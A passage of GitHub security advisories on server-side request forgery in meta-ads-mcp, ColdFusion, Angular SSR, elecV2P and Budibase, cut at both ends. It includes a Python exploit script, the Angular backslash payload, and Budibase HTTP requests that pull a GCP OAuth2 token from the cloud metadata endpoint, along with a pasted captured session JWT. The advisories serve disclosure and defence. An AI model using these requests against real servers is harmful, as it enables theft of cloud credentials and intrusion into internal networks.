\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nclass SSRFCaptureHandler(BaseHTTPRequestHandler):\n \"\"\"Records every inbound GET request made by the vulnerable MCP server.\"\"\"\n\n def do_GET(self):\n hit = {\n \"method\": \"GET\",\n \"path\": self.path,\n \"host\": self.client_address[0],\n \"user_agent\": self.headers.get(\"User-Agent\", \"\"),\n }\n with ssrf_lock:\n ssrf_hits.append(hit)\n print(\n f\"[SSRF LISTENER] Received GET {self.path!r}\"\n f\" from {self.client_address[0]}\"\n f\" | User-Agent: {hit[\u0027user_agent\u0027]!r}\",\n flush=True,\n )\n # Return a minimal valid JPEG so the server processes the response\n body = (\n b\"\\xff\\xd8\\xff\\xe0\\x00\\x10JFIF\\x00\\x01\\x01\\x00\\x00\\x01\\x00\\x01\\x00\\x00\"\n b\"\\xff\\xd9\"\n )\n self.send_response(200)\n self.send_header(\"Content-Type\", \"image/jpeg\")\n self.send_header(\"Content-Length\", str(len(body)))\n self.end_headers()\n self.wfile.write(body)\n\n def log_message(self, fmt, *args):\n pass # Suppress default access log to keep output clean\n\n\ndef start_ssrf_listener() -\u003e None:\n server = HTTPServer((\"127.0.0.1\", SSRF_PORT), SSRFCaptureHandler)\n server.serve_forever()\n\n\n# \u2500\u2500 Helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef wait_for_port(host: str, port: int, timeout: float = 30.0) -\u003e bool:\n \"\"\"Poll until the TCP port is accepting connections or timeout expires.\"\"\"\n deadline = time.time() + timeout\n while time.time() \u003c deadline:\n try:\n with socket.create_connection((host, port), timeout=1.0):\n return True\n except (ConnectionRefusedError, OSError):\n time.sleep(0.5)\n return False\n\n\ndef mcp_post(\n method: str,\n params: dict,\n req_id: int,\n session_id: str | None = None,\n) -\u003e httpx.Response:\n \"\"\"Send a single JSON-RPC 2.0 request to the MCP streamable-HTTP endpoint.\n\n Path is /mcp (no trailing slash) \u2014 FastMCP 1.23.0 redirects /mcp/ \u2192 /mcp\n with HTTP 307, so we skip the redirect by targeting the canonical path directly.\n Accept header must include text/event-stream; without it the server returns 406.\n \"\"\"\n headers = {\n \"Content-Type\": \"application/json\",\n # MCP streamable-HTTP requires both JSON and SSE in Accept; omitting\n # text/event-stream causes HTTP 406 from the FastMCP uvicorn handler.\n \"Accept\": \"application/json, text/event-stream\",\n # Dummy Bearer token \u2014 the middleware only checks that it is non-empty;\n # Meta API credential validation happens AFTER the image download (SSRF sink).\n \"Authorization\": \"Bearer dummy-ssrf-poc-token\",\n }\n if session_id:\n headers[\"Mcp-Session-Id\"] = session_id\n\n payload = {\"jsonrpc\": \"2.0\", \"method\": method, \"id\": req_id, \"params\": params}\n with httpx.Client(timeout=30.0) as client:\n return client.post(\n f\"http://127.0.0.1:{MCP_PORT}/mcp\", # no trailing slash\n json=payload,\n headers=headers,\n )\n\n\n# \u2500\u2500 Main PoC \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef main() -\u003e int:\n print(\"=\" * 65, flush=True)\n print(\"VULN-001 PoC \u2014 SSRF in meta-ads-mcp upload_ad_image (v1.0.113)\", flush=True)\n print(\"CWE-918 | CVSS 8.3 | image_url fetch has zero URL validation\", flush=True)\n print(\"=\" * 65, flush=True)\n\n # \u2500\u2500 Step 1: Start the SSRF capture listener \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n t = threading.Thread(target=start_ssrf_listener, daemon=True)\n t.start()\n time.sleep(0.3)\n print(f\"[+] SSRF capture listener running on 127.0.0.1:{SSRF_PORT}\", flush=True)\n\n # \u2500\u2500 Step 2: Start the vulnerable MCP server \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n env = os.environ.copy()\n # Dummy credentials so the server starts; the Meta API is only called after\n # the image has already been fetched (i.e., after the SSRF fires).\n env.setdefault(\"META_APP_ID\", \"poc-dummy-app-id\")\n env.setdefault(\"META_APP_SECRET\", \"poc-dummy-secret\")\n env.setdefault(\"PIPEBOARD_API_TOKEN\", \"\")\n\n proc = subprocess.Popen(\n [\n sys.executable, \"-m\", \"meta_ads_mcp\",\n \"--transport\", \"streamable-http\",\n \"--host\", \"127.0.0.1\",\n \"--port\", str(MCP_PORT),\n ],\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n text=True,\n env=env,\n cwd=\"/app\",\n )\n print(f\"[*] Waiting for MCP server to bind on 127.0.0.1:{MCP_PORT} ...\", flush=True)\n\n # \u2500\u2500 Step 3: Wait for server readiness \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n if not wait_for_port(\"127.0.0.1\", MCP_PORT, timeout=30):\n try:\n out, _ = proc.communicate(timeout=5)\n except subprocess.TimeoutExpired:\n out = \"\"\n print(f\"[FAIL] MCP server did not start within 30 s.\\nServer output:\\n{out}\", flush=True)\n return 2\n print(f\"[+] MCP server is up on 127.0.0.1:{MCP_PORT}\", flush=True)\n time.sleep(0.5)\n\n # \u2500\u2500 Step 4: MCP protocol initialization \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n # The streamable-HTTP transport requires a brief initialize / initialized\n # handshake before accepting tool calls.\n session_id = None\n try:\n resp = mcp_post(\n \"initialize\",\n {\n \"protocolVersion\": \"2024-11-05\",\n \"capabilities\": {},\n \"clientInfo\": {\"name\": \"ssrf-poc\", \"version\": \"1.0\"},\n },\n req_id=0,\n )\n print(f\"[*] initialize -\u003e HTTP {resp.status_code}\", flush=True)\n session_id = resp.headers.get(\"Mcp-Session-Id\")\n if session_id:\n print(f\"[*] Session ID: {session_id}\", flush=True)\n notif_headers = {\n \"Content-Type\": \"application/json\",\n \"Authorization\": \"Bearer dummy-ssrf-poc-token\",\n \"Mcp-Session-Id\": session_id,\n }\n notif_payload = {\n \"jsonrpc\": \"2.0\",\n \"method\": \"notifications/initialized\",\n \"params\": {},\n }\n with httpx.Client(timeout=10.0) as client:\n nr = client.post(\n f\"http://127.0.0.1:{MCP_PORT}/mcp\", # no trailing slash\n json=notif_payload,\n headers=notif_headers,\n )\n print(f\"[*] notifications/initialized -\u003e HTTP {nr.status_code}\", flush=True)\n except Exception as exc:\n print(f\"[*] Initialization step error (non-fatal): {exc}\", flush=True)\n\n # \u2500\u2500 Step 5: Send the SSRF exploit payload \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n ssrf_url = f\"http://127.0.0.1:{SSRF_PORT}{SSRF_PATH}\"\n print(f\"\\n[*] Sending exploit request ...\", flush=True)\n print(f\" method : tools/call\", flush=True)\n print(f\" tool : upload_ad_image\", flush=True)\n print(f\" image_url : {ssrf_url} \u003c-- SSRF payload\", flush=True)\n print(f\" Authorization : Bearer dummy-ssrf-poc-token (not validated before fetch)\", flush=True)\n\n try:\n resp = mcp_post(\n \"tools/call\",\n {\n \"name\": \"upload_ad_image\",\n \"arguments\": {\n \"account_id\": \"act_123456789\",\n \"image_url\": ssrf_url,\n },\n },\n req_id=1,\n session_id=session_id,\n )\n print(f\"\\n[*] tools/call -\u003e HTTP {resp.status_code}\", flush=True)\n print(f\"[*] Response preview (first 400 chars):\\n{resp.text[:400]}\", flush=True)\n except Exception as exc:\n print(f\"[*] tools/call exception: {exc}\", flush=True)\n\n # \u2500\u2500 Step 6: Allow time for async fetch to complete \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n time.sleep(4)\n proc.terminate()\n\n # \u2500\u2500 Step 7: Evaluate and report \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(\"\\n\" + \"=\" * 65, flush=True)\n with ssrf_lock:\n hits = list(ssrf_hits)\n\n if hits:\n print(\n f\"[PASS] SSRF CONFIRMED \u2014 MCP server issued {len(hits)} request(s) to\"\n f\" 127.0.0.1:{SSRF_PORT}\",\n flush=True,\n )\n for h in hits:\n print(\n f\" -\u003e {h[\u0027method\u0027]} {h[\u0027path\u0027]}\"\n f\" | User-Agent: {h[\u0027user_agent\u0027]!r}\",\n flush=True,\n )\n print(\n \"\\nConclusion: upload_ad_image passes attacker-controlled image_url to\"\n \" httpx.AsyncClient(follow_redirects=True).get(url) without any scheme,\"\n \" host, or IP validation. Internal services are reachable via SSRF.\",\n flush=True,\n )\n print(\"=\" * 65, flush=True)\n return 0\n else:\n print(\n f\"[FAIL] No requests received on SSRF listener at 127.0.0.1:{SSRF_PORT}.\",\n flush=True,\n )\n print(\"=\" * 65, flush=True)\n return 1\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "GHSA-45gf-fjxp-cjpq",
"modified": "2026-07-17T18:47:31Z",
"published": "2026-07-17T18:47:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pipeboard-co/meta-ads-mcp/security/advisories/GHSA-45gf-fjxp-cjpq"
},
{
"type": "WEB",
"url": "https://github.com/pipeboard-co/meta-ads-mcp/commit/7d9926336bbdac6285a988d043c4ccfe126c94c5"
},
{
"type": "PACKAGE",
"url": "https://github.com/pipeboard-co/meta-ads-mcp"
},
{
"type": "WEB",
"url": "https://github.com/pipeboard-co/meta-ads-mcp/releases/tag/1.0.115"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "meta-ads-mcp: Server-Side Request Forgery (SSRF) in `upload_ad_image` via Unrestricted `image_url` Fetch"
}
GHSA-45MC-X72W-R769
Vulnerability from github – Published: 2026-06-30 18:31 – Updated: 2026-06-30 18:31ColdFusion versions 2025.9, 2023.20 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploitation of this issue does not require user interaction. Scope is changed.
{
"affected": [],
"aliases": [
"CVE-2026-48285"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T16:16:54Z",
"severity": "HIGH"
},
"details": "ColdFusion versions 2025.9, 2023.20 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploitation of this issue does not require user interaction. Scope is changed.",
"id": "GHSA-45mc-x72w-r769",
"modified": "2026-06-30T18:31:37Z",
"published": "2026-06-30T18:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48285"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/coldfusion/apsb26-68.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-45Q2-GJVG-7973
Vulnerability from github – Published: 2026-04-16 22:36 – Updated: 2026-05-12 13:31Impact
A Server-Side Request Forgery (SSRF) vulnerability exists in @angular/platform-server due to improper handling of URLs during Server-Side Rendering (SSR).
When an attacker sends a request such as GET /\evil.com/ HTTP/1.1 the server engine (Express, etc.) passes the URL string to Angular’s rendering functions.
Because the URL parser normalizes the backslash to a forward slash for HTTP/HTTPS schemes, the internal state of the application is hijacked to believe the current origin is evil.com. This misinterpretation tricks the application into treating the attacker’s domain as the local origin. Consequently, any relative HttpClient requests or PlatformLocation.hostname references are redirected to the attacker controlled server, potentially exposing internal APIs or metadata services.
Affected APIs:
- renderModule
- renderApplication
- CommonEngine (from @angular/ssr)
Non-Affected APIs:
- AngularAppEngine (from @angular/ssr)
- AngularNodeAppEngine (from @angular/ssr)
Attack Preconditions
- The server has outbound network access.
- The application uses Angular SSR via the affected APIs.
- A pathname is passed as URL to the rendering method (e.g. using
req.url). - The server-side code performs HTTP requests using
HttpClientwith relative URLs or usesPlatformLocation.hostnameto build URLs.
Patches
- 22.0.0-next.8
- 21.2.9
- 20.3.19
- 19.2.21
Workarounds
Developers should implement a middleware to sanitize the request URL before it reaches Angular. This involves stripping or normalizing leading slashes:
app.use((req, res, next) => {
// Sanitize the URL to ensure it starts with a single forward slash
if (req.url.startsWith('//') || req.url.startsWith('/\\') || req.url.startsWith('\\')) {
req.url = '/' + req.url.replace(/^[/\\]+/, '');
}
next();
});
References
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@angular/platform-server"
},
"ranges": [
{
"events": [
{
"introduced": "22.0.0-next.0"
},
{
"fixed": "22.0.0-next.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@angular/platform-server"
},
"ranges": [
{
"events": [
{
"introduced": "21.0.0-next.0"
},
{
"fixed": "21.2.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@angular/platform-server"
},
"ranges": [
{
"events": [
{
"introduced": "20.0.0-next.0"
},
{
"fixed": "20.3.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@angular/platform-server"
},
"ranges": [
{
"events": [
{
"introduced": "19.0.0-next.0"
},
{
"fixed": "19.2.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@angular/platform-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "18.2.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41423"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T22:36:01Z",
"nvd_published_at": "2026-05-08T14:16:33Z",
"severity": "HIGH"
},
"details": "### Impact\n\nA [Server-Side Request Forgery (SSRF)](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/SSRF) vulnerability exists in `@angular/platform-server` due to improper handling of URLs during Server-Side Rendering (SSR).\n\nWhen an attacker sends a request such as `GET /\\evil.com/ HTTP/1.1` the server engine (Express, etc.) passes the URL string to Angular\u2019s rendering functions.\n\nBecause the URL parser normalizes the backslash to a forward slash for HTTP/HTTPS schemes, the internal state of the application is hijacked to believe the current origin is `evil.com`. This misinterpretation tricks the application into treating the attacker\u2019s domain as the local origin. Consequently, any relative `HttpClient` requests or `PlatformLocation.hostname` references are redirected to the attacker controlled server, potentially exposing internal APIs or metadata services.\n\n**Affected APIs:**\n- `renderModule`\n- `renderApplication`\n- `CommonEngine` (from `@angular/ssr`)\n\n**Non-Affected APIs:**\n- `AngularAppEngine` (from `@angular/ssr`)\n- `AngularNodeAppEngine` (from `@angular/ssr`)\n\n### Attack Preconditions\n- The server has outbound network access.\n- The application uses Angular SSR via the affected APIs.\n- A pathname is passed as URL to the rendering method (e.g. using `req.url`).\n- The server-side code performs HTTP requests using `HttpClient` with relative URLs or uses `PlatformLocation.hostname` to build URLs. \n\n\n### Patches\n- 22.0.0-next.8\n- 21.2.9\n- 20.3.19\n- 19.2.21\n\n### Workarounds\nDevelopers should implement a middleware to sanitize the request URL before it reaches Angular. This involves stripping or normalizing leading slashes:\n\n```js\napp.use((req, res, next) =\u003e {\n // Sanitize the URL to ensure it starts with a single forward slash\n if (req.url.startsWith(\u0027//\u0027) || req.url.startsWith(\u0027/\\\\\u0027) || req.url.startsWith(\u0027\\\\\u0027)) {\n req.url = \u0027/\u0027 + req.url.replace(/^[/\\\\]+/, \u0027\u0027);\n }\n next();\n});\n\n```\n### References\n- [Fix](https://github.com/angular/angular/pull/68194)",
"id": "GHSA-45q2-gjvg-7973",
"modified": "2026-05-12T13:31:29Z",
"published": "2026-04-16T22:36:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/angular/angular/security/advisories/GHSA-45q2-gjvg-7973"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41423"
},
{
"type": "WEB",
"url": "https://github.com/angular/angular/pull/68194"
},
{
"type": "WEB",
"url": "https://github.com/angular/angular/commit/ede7c58a2aa13fdccc8f0b67ce93ba1c11749412"
},
{
"type": "PACKAGE",
"url": "https://github.com/angular/angular"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Angular: SSRF via protocol-relative and backslash URLs in Angular Platform-Server"
}
GHSA-45V9-XMMJ-RXGQ
Vulnerability from github – Published: 2026-03-29 00:31 – Updated: 2026-03-29 00:31A vulnerability was identified in elecV2 elecV2P up to 3.8.3. This affects the function eAxios of the file /mock of the component URL Handler. Such manipulation of the argument req leads to server-side request forgery. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-5016"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-28T22:15:58Z",
"severity": "MODERATE"
},
"details": "A vulnerability was identified in elecV2 elecV2P up to 3.8.3. This affects the function eAxios of the file /mock of the component URL Handler. Such manipulation of the argument req leads to server-side request forgery. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-45v9-xmmj-rxgq",
"modified": "2026-03-29T00:31:04Z",
"published": "2026-03-29T00:31:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5016"
},
{
"type": "WEB",
"url": "https://github.com/elecV2/elecV2P/issues/202"
},
{
"type": "WEB",
"url": "https://github.com/elecV2/elecV2P"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/779181"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/353901"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/353901/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4647-WPJQ-HH7F
Vulnerability from github – Published: 2026-03-18 20:22 – Updated: 2026-03-25 18:15Summary
The REST datasource query preview endpoint (POST /api/queries/preview) makes server-side HTTP requests to any URL supplied by the user in fields.path with no validation. An authenticated admin can reach internal services that are not exposed to the internet — including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with cloud-platform scope (full GCP access). On any deployment it enables full internal network enumeration.
Details
The vulnerable handler is in packages/server/src/api/controllers/query.ts (preview()). It reads fields.path from the request body and passes it directly to the REST HTTP client without any IP or hostname validation:
fields.path → RestClient.read({ path }) → node-fetch(path)
No blocklist exists for:
- Loopback (127.0.0.1, ::1)
- RFC 1918 ranges (10.x.x.x, 172.16-31.x.x, 192.168.x.x)
- Link-local / cloud metadata (169.254.x.x)
- Internal Kubernetes DNS (.svc.cluster.local)
The datasourceId field must reference an existing REST-type datasource. This is trivially obtained via GET /api/datasources (lists all datasources with their IDs) or created on-demand with a single POST — no base URL is required and fields.path overrides it entirely.
PoC
Step 1 — Get session token
POST /api/global/auth/default/login HTTP/1.1
Host: budibase.dev.com
Content-Type: application/json
{"username": "admin@example.com", "password": "password"}
Response sets Cookie: budibase:auth=<JWT>.
Step 2 — Get a REST datasourceId
GET /api/datasources HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs
x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b
Pick any _id where "source": "REST".
Captured from this engagement:
- Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs
- App ID: app_dev_3dbfeba315fd4baa8fb6202fe517e93b
- REST datasource ID: datasource_49d5a1ed1c6149e48c4de0923e5b20c5
Step 3 — Send SSRF request
Change fields.path to any internal URL. Examples below.
3a. Cloud metadata — GCP OAuth2 token
POST /api/queries/preview HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs
x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b
Content-Type: application/json
{
"datasourceId": "datasource_49d5a1ed1c6149e48c4de0923e5b20c5",
"name": "ssrf", "parameters": [], "transformer": "return data", "queryVerb": "read",
"fields": {
"path": "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",
"headers": {"Metadata-Flavor": "Google"},
"queryString": "", "requestBody": ""
},
"schema": {}
}
Response:
{"access_token": "ya29.d.c0AZ4bNpYDUK...", "expires_in": 3598, "token_type": "Bearer"}
Impact
What kind of vulnerability is it? Who is impacted? Any authenticated admin/builder user can make the Budibase server issue HTTP requests to any network-reachable address. Confirmed impact on this engagement:
- Cloud credential theft — GCP OAuth2 token with
cloud-platformscope stolen from169.254.169.254. Token verified valid against GCP Projects API, granting full access to all GCP services in the project. - Internal database access — CouchDB reached at
budibase-svc-couchdb:5984with extracted credentials, exposing all application data. - Internal service enumeration — MinIO (
minio-service:9000), Redis, and internal worker APIs (127.0.0.1:4002) all reachable. - Kubernetes cluster access — K8s API server reachable at
kubernetes.default.svcusing the pod's mounted service account token.
The vulnerability affects all deployment environments (GCP, AWS, Azure, bare-metal, Docker Compose, Kubernetes). The specific impact depends on what services are reachable from the Budibase pod, but cloud metadata theft is possible on any cloud-hosted instance.
Detected by: Abdulrahman Albatel Abdullah Alrasheed
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "budibase"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.30.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33226"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-18T20:22:11Z",
"nvd_published_at": "2026-03-20T23:16:46Z",
"severity": "HIGH"
},
"details": "### Summary\nThe REST datasource query preview endpoint (`POST /api/queries/preview`) makes server-side HTTP requests to any URL supplied by the user in `fields.path` with no validation. An authenticated admin can reach internal services that are not exposed to the internet \u2014 including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with `cloud-platform` scope (full GCP access). On any deployment it enables full internal network enumeration.\n\n### Details\n\nThe vulnerable handler is in `packages/server/src/api/controllers/query.ts` (`preview()`). It reads `fields.path` from the request body and passes it directly to the REST HTTP client without any IP or hostname validation:\n\n```\nfields.path \u2192 RestClient.read({ path }) \u2192 node-fetch(path)\n```\n\nNo blocklist exists for:\n- Loopback (`127.0.0.1`, `::1`)\n- RFC 1918 ranges (`10.x.x.x`, `172.16-31.x.x`, `192.168.x.x`)\n- Link-local / cloud metadata (`169.254.x.x`)\n- Internal Kubernetes DNS (`.svc.cluster.local`)\n\nThe `datasourceId` field must reference an existing REST-type datasource. This is trivially obtained via `GET /api/datasources` (lists all datasources with their IDs) or created on-demand with a single POST \u2014 no base URL is required and `fields.path` overrides it entirely.\n\n### PoC\n\n**Step 1 \u2014 Get session token**\n```http\nPOST /api/global/auth/default/login HTTP/1.1\nHost: budibase.dev.com\nContent-Type: application/json\n\n{\"username\": \"admin@example.com\", \"password\": \"password\"}\n```\nResponse sets `Cookie: budibase:auth=\u003cJWT\u003e`.\n\n**Step 2 \u2014 Get a REST datasourceId**\n```http\nGET /api/datasources HTTP/1.1\nHost: budibase.dev.com\nCookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs\nx-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b\n```\nPick any `_id` where `\"source\": \"REST\"`.\n\nCaptured from this engagement:\n- Token: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs`\n- App ID: `app_dev_3dbfeba315fd4baa8fb6202fe517e93b`\n- REST datasource ID: `datasource_49d5a1ed1c6149e48c4de0923e5b20c5`\n\n**Step 3 \u2014 Send SSRF request**\n\nChange `fields.path` to any internal URL. Examples below.\n\n**3a. Cloud metadata \u2014 GCP OAuth2 token**\n```http\nPOST /api/queries/preview HTTP/1.1\nHost: budibase.dev.com\nCookie: 